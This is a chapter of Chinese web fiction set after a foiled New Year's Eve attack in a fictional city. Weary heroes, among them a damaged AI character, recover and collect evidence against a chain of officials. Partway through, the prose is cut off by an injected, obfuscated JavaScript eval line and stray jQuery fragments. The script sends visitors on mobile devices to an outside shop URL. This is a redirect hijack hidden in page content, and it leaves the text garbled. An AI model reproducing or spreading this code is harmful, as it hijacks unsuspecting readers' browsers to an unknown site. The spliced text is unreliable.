新年的第一声欢呼,是从中心广场那边炸开的。
“新年快乐——!”
人群的声音被烟花托起来,越过电视塔,越过商场顶层的玻璃幕墙,越过旧工业区边缘那些锈迹斑斑的管道和废弃轨道,最后落到雪里,已经只剩一片模糊的热闹。
广场上没有人知道刚才发生过什么。孩子们举着银白英雄的纸面具,追着从天上飘下来的彩带跑。有人把恋人的手举起来拍照,有人对着烟花许愿,有人抱怨刚才倒数时旁边的人喊得太大声,还有人在问宣传片怎么突然切了备用画面。
临时舞台的大屏上,月见战士的宣传片卡过一次,随后切成了新年祝福。主持人有一点慌,但她很快把笑容补回脸上,说系统正在调整,请大家不要惊慌。
没有人惊慌。这就是最大的胜利。
他们不知道广播接口曾经差一点被接入,不知道脚下的人群差一点变成互相踩踏的潮水,也不知道那句“新年快乐”差一点被塔台通讯、旧新闻、哭声和低频刺激撕成另一种声音。
他们只是迎接了新年,这是理所当然的事。
旧工业区里,没有人跟着喊。
副通道闸门已经落下,灰色铁门把电视塔的热闹隔在另一边。守望者型骑士半跪在轨道旁,胸口的 TR-03 核心被低功率锁死,只剩一点冷蓝色余光。源心坐在雪里,头盔已经摘下,脸色白得像纸,却一直看着临时评估点的方向。
医疗组先一步找到相马。佐久间发出的越权坐标救了他。子弹避开了真正致命的位置,但失血和二次撞击让他的情况很糟。
医疗担架经过时,源心扶着断裂的轨道想站起来,被旁边的外勤按了回去。
她没有挣扎。只问了一句:“他还活着吗?”
医疗员看了她一眼,回答:“活着。”
源心闭了闭眼。她没有哭。月见市把她训练得太好,连这种时候,她的眼泪都还留在心里。
归零从月蚀女妖里断开时,整套皮套几乎已经不能称作皮套。左臂断在几米外,胸口破开,背部外壳被打穿,头盔碎得只剩半张。技术员赶来以后看了一眼,当场说不出话。
她的核心被老白从破损连接位里拖出来,外层保护壳裂了两道,光点暗得厉害,却仍然坚持骂人。
“别用……那个表情看我。”她说,“我只是……暂时性失去优雅外观。”
老白抱着那只临时保护匣,尾巴垂在地上,声音比平时低得多:“归零小姐,您现在更接近一枚被儿童节目暴力使用后的高价值零件。”
“我……听出来了。”归零的光点闪了一下,“你在夸我……高价值。”
“也可以这么理解。”
“那……就行。”
不死途赶到时,旧工业区的雪已经积了薄薄一层。他没有先说话。他看见了源心,看见了被压制住的 TR-03,看见了老白抱着保护匣,也看见了地上那套被打得破破烂烂的月蚀女妖。远处烟花升空,亮了一瞬,把那套女怪人皮套照得很清楚。丑得很有预算不足的诚意,也破得像真的从一场战争里爬出来。
他走过去,蹲下身,看着保护匣里的归零。
“归零。”
归零的光点动了一下。
“不死途先生,我申请……”
她停顿了一秒,像是在整理自己剩下不多的输出稳定性。
“下次当主骑。”
不死途看着她。
“批准。”
归零沉默。
然后她说:“不要……用这种像遗言一样的语气批准。”
不死途笑了一下。很轻,眼底却有些发红。
“好。”
老白把保护匣递给不死途时,手没有立刻松开。
“不死途先生。”他说,“她断开以后暂时不能自主悬浮。核心保护层也碎了。”
归零立刻说:“说得像……我不能走路一样,我本来就不走路。”
老白继续道:“所以最好有人背着。”
归零:“你们有没有……考虑过智械尊严?”
不死途已经把保护匣固定进临时背架,背到身后。归零的光点在他背后亮了一下。
“我声明,这是战术转运,不是背。”
“不然呢?”老白说。
“高级智械……低功率移动……支援服务。”
“不死途先生,你听见了吗?她连被背着都要收费。”
不死途站起来,背后的保护匣很轻。轻到不像刚才挡住过一场可能杀死很多人的灾难。
“记账。”他说。
归零立刻接话:“事务所财政……终于有救了。”
“不是记这个。”不死途说,“记异防部账上。”
归零的光点顿时亮了半格。
“我忽然觉得自己恢复了一点。”
“财务刺激有效。”老白评价,“白山医生若还活着,或许可以写进报告。”
没人笑太久。因为他们还不能停。广场那边还在庆祝。烟花一轮接一轮,把夜空炸得像从未有过雪。
可旧工业区里,外勤组正在封锁现场,医疗组搬运伤员,技术组手忙脚乱地压制 TR-03,佐久间在临时办事楼里疯狂备份所有日志,源心被带去医疗车前还在要求保留相马异常报告的原始记录。
不死途背着归零,带着老白,从旧工业区往相反的方向走。他们没有朝人群走去。没有去灯光下。没有去电视塔正面。
他们沿着后勤通道、维修栈道、灰色警戒线,一路走向临时办事楼和异防部协调中心。那里没有烟花,没有祝福,没有纸面具,只有亮着冷光的终端、没来得及撤掉的权限警告、被压低优先级的求救信息,还有一整座城市刚刚试图用“流程正常”盖住的烂摊子。
普通人在一无所觉中迎接新年。保护了他们的人,远离热闹,走向相反的方向。
那里才是他们接下来要去的地方。
不是庆功。
是收尸、留痕、追责。
佐久间在办公室里等他们。他看起来状态很不好,脸色白,眼睛红,手还在抖。屏幕上叠着十几个窗口,每一个窗口都被他截图、备份、编号。
主系统已经锁了他的账号三次,他换了两台备用终端,最后干脆把一部分证据拷进了不联网的旧盘。看见不死途进门,他先看到了不死途背后的保护匣。
“归零小姐……”
归零的光点亮了一下。
“活着呢……别哭。”
佐久间立刻低头:“我没哭。”
归零说:“脸部湿度异常……建议修正陈述。”
佐久间吸了吸鼻子,没再反驳。不死途走到终端前。
“东西呢?”
佐久间立刻把几组记录调出来。源心保护性转移令。白山风险评估意见。相马异常报告降级记录。归零后台坐标异常警报处理记录。TR-03 / TR-04 装配记录。白山鸟栖权限审批链。新年夜消息封锁指令。每一份都很干净。每一份都有签名。每一份都能解释。也每一份都咬人。
佐久间的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718619|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声音很低:“我把原始时间戳全部保留了。相马报告是在 23:09 提交的,23:10 被降级。归零小姐的皮套后台坐标异常警报在 23:16 发出,23:17 被标成低优先级。源心治安官的转移路线,在白山医生权限调用前已经被预生成,但主系统一直显示旧资料区。”
他停了一下,像还不敢相信自己真的把这些东西翻了出来。
“还有……白山权限审批链。”
屏幕上跳出一排名字。白山鸟栖的系统权限不是一个人批下来的。精神疗养科资质复核人。旧治疗辅助项目临时顾问权限恢复人。新年特别宣传物料安全联动审批人。源心保护性转移风险评估采信人。倒数夜高危消息暂缓公开签署人。一条链很长。长到每个人都能说,自己只签了其中一段。老白站在桌上,看着那排名字。
“月见异防部第一次发现,签名原来也会咬人。”
归零在保护匣里冷冷道:“希望它们咬合力好一点。”
不死途没有说话。他看完所有记录,最后指着其中一行。
“久世。”
佐久间抬头:“他已经被外部调查组立案调查了。”
“第一个?”
“第一个。”佐久间点头,“后面还有七个人。源心治安官的转移令、相马报告降级、归零小姐警报降级、白山权限审批、封锁消息指令,分别对应七个签署人。外部调查组本来只想带走久世先生问询,源心治安官把完整链路交过去了。”
归零问:“她还能站着交?”
佐久间小声说:“她坐在医疗车里交的。”
“很好。”归零评价,“符合……她一贯不肯躺平的精神状态。”
不死途看着那排名字。久世不是唯一坏人。久世只是第一张被撕下来的脸。后面还有七个人。
他们不是在午夜立刻进了监狱。现实没有那么爽,也没有那么快。可从这一夜开始,他们一个个被带走、被审查、被停职、被起诉,后来一个接一个进了该去的地方。
月见市曾经很会把责任分散成流程。这一次,流程反过来把他们串成了一串。
白山卖的是“我当时不是我”。
他们卖的是“我们当时按流程做了”。
听起来不一样。其实都是一句。不是我的错。不死途看着那一排签名,声音很平。
“都留着。”
佐久间用力点头。
“我备了五份。”
归零立刻说:“少了。”
佐久间愣了一下。
归零说:“照月见市这个德行……五份不够。”
她顿了顿,又努力组织好了语言,继续说,“你备十份……一个给外部调查组,一个给源心,一个给相马,一个给我们,一个藏系统垃圾桶,一个藏宣传后台,一个塞给媒体,一个塞给死者家属代表,一个塞给他们最讨厌的监察部门,最后一个命名为‘谁删谁死’。”
佐久间看着她,终于有点想笑。
“最后一个文件名不能这么写吧?”
“你可以写……文雅点。”归零说,“比如‘谁删谁后果自负’。”
老白点头:“法律风险略降,但精神内核保持完整。”
不死途背着归零,转身看向窗外。电视塔仍然亮着。
它看起来没有变。高大、明亮、体面,像刚刚顺利主持了一场新年倒数,像从来没有造过谣,没有逼死过人,没有差点把几万人送进恐慌里。可是它不能再一直这么亮下去。至少不能只亮自己想让人看的东西。